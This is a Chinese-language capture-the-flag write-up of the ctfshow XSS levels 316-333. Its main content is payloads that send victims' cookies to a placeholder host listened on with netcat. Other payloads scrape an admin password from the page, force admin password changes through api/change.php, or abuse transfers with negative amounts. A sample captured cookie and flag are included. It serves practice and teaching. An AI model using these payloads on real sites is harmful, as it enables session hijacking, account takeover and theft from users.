当前位置:网站首页>ctfshow XSS
ctfshow XSS
2022-06-28 23:21:00 【quan9i】
文章目录
web 316
题目
圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!

这里是让写祝福语的,那我们先送它一个简单的xss<script>alert(1)</script>
说明没有过滤,这个时候的话,flag藏于cookie中,我们需要想办法获取管理员的cookie,肯定不能<script>alert(document.cookie)</script>,因为这样的话得到的是自己的cookie,需要的是管理员的cookie,这时候有个方法就是我们利用我们的vps,用nc端口监听,然后直接我们在搜索框中添加一个js跳转链接加上获取cookie的代码,这时候管理员就会访问我们的ip地址,我们也就拿到了管理员cookie,也就得到了flag,思路有了,那payload构造也并非难事
先在vps开启监听
nc -lvnp 7777
//虽然只能接收一次,但我们可以nc多次
<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

web 317
题目同上
但script被过滤了,无法弹出1,此时换标签进行尝试
<body onload=alert(1)></body>
经过测试,这个可以,所以此时选择用它来弹cookie
在vps上监听端口
nc -lvnp 7777
在界面输入payload
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
web 318
题目同上
经过测试过滤了img,所以用其他方法即可
开启监听
nc -lvnp 7777
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
得到
[email protected]VM-12-12-ubuntu:~$ nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 49.235.148.38 50456
GET /PHPSESSID=b8fo3kchl70j95q9rpvm1os8kp;%20flag=ctfshow%7B4574f5dd-a954-4ee1-a709-f6d512155a20%7D HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/target.php?key=ctfshow_bot_key
web 320
空格被ban,用/**/来替代
nc -lvnp 7777
<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
web 321
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
web 322
<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

web 323
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 324
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
web 325
<body/**/onload="window.open('http://xxx::7777/'+document.cookie)"></body>
web 326
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
存储型XSS
web 327
存储型XSS
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 328

发现有注册的,先随便注册一下,然后登录
只有管理员可以查看,这里的话我们的思路就是获取当前管理员的cookie,但是要从哪里着手呢,此时查看用户名和密码的源代码
可以发现这两个都是不存在单引号或者双引号包裹的,因此我们可以直接插入一段js代码,借助vps调出管理员的cookie,而后修改我们的cookie为管理员的cookie,此时我们的身份就变成了管理员的,因此我们这里去再注册一个,账号注册如下
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
<script>window.location.href='http://xxx:7777/'+document.cookie;</script>
密码随便写(当然,账号随便写,密码写成这个也可以)
在你的vps开启监听端口
nc -lvnp 7777
登录后点击用户管理,此时再看vps
得到管理员cookieruenb618p3e7tg5a6gtumcs89b
修改cookie值,刷新界面
得到flagctfshow{d5cdea15-ce33-4df2-b9f0-13aab7b94fa1}
web 329
我按上一关的方法得到了flag,但是正常的话是得不到的,看其他师傅的wp说这里的是管理员在点击过js后立马登出,它的cookie一直是无效的,我们这里获取的话可以去获取它的用户名和密码界面
可以看见这个密码的话是在layui-table-cell laytable-cell-1-0-1类中的,因此我们需要用getElementsByClassName来获取,getElementsByClassName的作用是获取所有指定类名的元素
在控制台中document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')可以发现
密码在innerHTML中,此时再试着将这个输出
这时候就得到了密码,那我们此时利用这个即可构造得到flag的语句,如下
<script>window.open('http://xxx:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

web 330
在修改密码界面进行获取
在这里可以看见包含了整个界面,因此类就确定是layui-container
<script>window.open('http://xxx:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>
预期解(修改管理员密码)
我们发现多了个修改密码的界面,我们抓包后修改一下
那我们添加一个跳转本地的,然后修改密码,此时不就可以成功的修改管理员的密码了吗?
尝试一下
<script>windows.location.href="http://127.0.0.1/api/change.php?p=123"</script>
此时将这个作为用户名,这时候随便设置一个密码即可,而后等待几分钟,管理员访问此界面就会强制更改密码,此时我们以admin为用户名,123为密码登录即可
web 331

发现与上关界面相似,这里我们进行抓包一看究竟
发现从GET请求变成了POST请求,因此这里仍尝试上关预期解的方法,但是呢,我们需要找JavaScript发生POST请求的方式来进行发送,从而修改管理员的密码,这个可以参考
https://www.jb51.net/article/143683.htm
当然,我比较懒,直接在源码中借鉴一波
将内容进行略微修改,如下所示
$.ajax({
url:'api/change.php',
type:'post',
data:{
p:'123'//修改密码为123
}
});
整理一下的话就是
$.ajax({
url:'api/change.php',type:'post',data:{
p:'123'}});
我们可以先本地测试一下
先注册一个密码和账号都i为11的
在控制台添加我们的js代码
此时登出再以123为密码登入
说明构造的正确,此时直接将这个加上<script>标签作为用户名即可,构造payload
<script>$.ajax({
url:'api/change.php',type:'post',data:{
p:'123'}});</script>

web 332
正常注册时这里是无法交易的,提示有内鬼,终止交易,当以<script>alert(1)</script>注册时,发现可以转帐了,这里直接随便输入收款人,金额填写-10000,就白嫖了10000,再去买flag即可
web 333
这里的话可以用自己给自己转账的骚操作,因为这个转帐只加不减,所以我们以<script>1</script>创建用户后,在转帐界面抓包,一次传自己五块
此时浅浅的跑一万次即可
加大马力,线程调为20
买flag即可
边栏推荐
- 网上注册股票开户很困难么?在线开户是安全么?
- 2022-06-28: what does the following golang code output? A:true; B:false; C:panic; D: Compilation failed. package main import “fm
- TDD and automated testing
- C語言-單詞分析解析
- Prometeus 2.36.0 new features
- 油猴脚本学习
- Puma joins hands with 10ktf shop to launch its Web3 cooperation project with the largest scale so far
- [mathematical modeling] fmincon() function of MATLAB nonlinear programming
- Would like to ask, how to open a stock account? Is it safe to open an account online?
- [stm32 HAL库] 串口通信
猜你喜欢

YuMinHong set up two funds funded by his hometown

两栏布局左边图片显示部分由右边内容高度决定

融云通信解决方案 破解企业沟通痛点

一张能卖上千万,商家扩张比玩家还快:球星卡的江湖你不懂
![LeetCode 324 擺動排序 II[排序 雙指針] HERODING的LeetCode之路](/img/41/b8ba8d771b7224eac1cc8c54fe9d29.png)
LeetCode 324 擺動排序 II[排序 雙指針] HERODING的LeetCode之路

C interview questions_ 20220627 record

Hit the industry directly | the flying propeller launched the industry's first model selection tool
![Leetcode 324 swing sort ii[sort double pointer] the leetcode path of heroding](/img/41/b8ba8d771b7224eac1cc8c54fe9d29.png)
Leetcode 324 swing sort ii[sort double pointer] the leetcode path of heroding

keil工程,程序写多后,RTT不能打印

移动端异构运算技术 - GPU OpenCL 编程(基础篇)
随机推荐
mysql-5.7.30-winx64免安装版下载安装教程
【OpenCV】—线性滤波:方框滤波、均值滤波、高斯滤波
[mathematical modeling] fmincon() function of MATLAB nonlinear programming
keil工程,程序写多后,RTT不能打印
是使用local_setup.bash 还是 setup.bash
Count the number of arrays with pointers
小样本利器2.文本对抗+半监督 FGSM & VAT & FGM代码实现
Flutter obtains the coordinate size of any element in the interface through globalkey
Three communication skills in software testing
One card can sell tens of millions, and the business expansion is faster than that of players: you don't understand the Jianghu of star cards
Association line exploration, how to connect the two nodes of the flow chart
LeetCode 324 擺動排序 II[排序 雙指針] HERODING的LeetCode之路
入行数字IC验证后会做些什么?
IDC: Alibaba cloud ranks first in the market share of China's data governance platform in 2021
LINQ linked table query
Interpretation of papers (DCN) towards k-means-friendly spaces: simultaneous deep learning and clustering
Junior, it's not easy!
网上注册股票开户很困难么?在线开户是安全么?
TDD and automated testing
老家出资,俞敏洪设立两支基金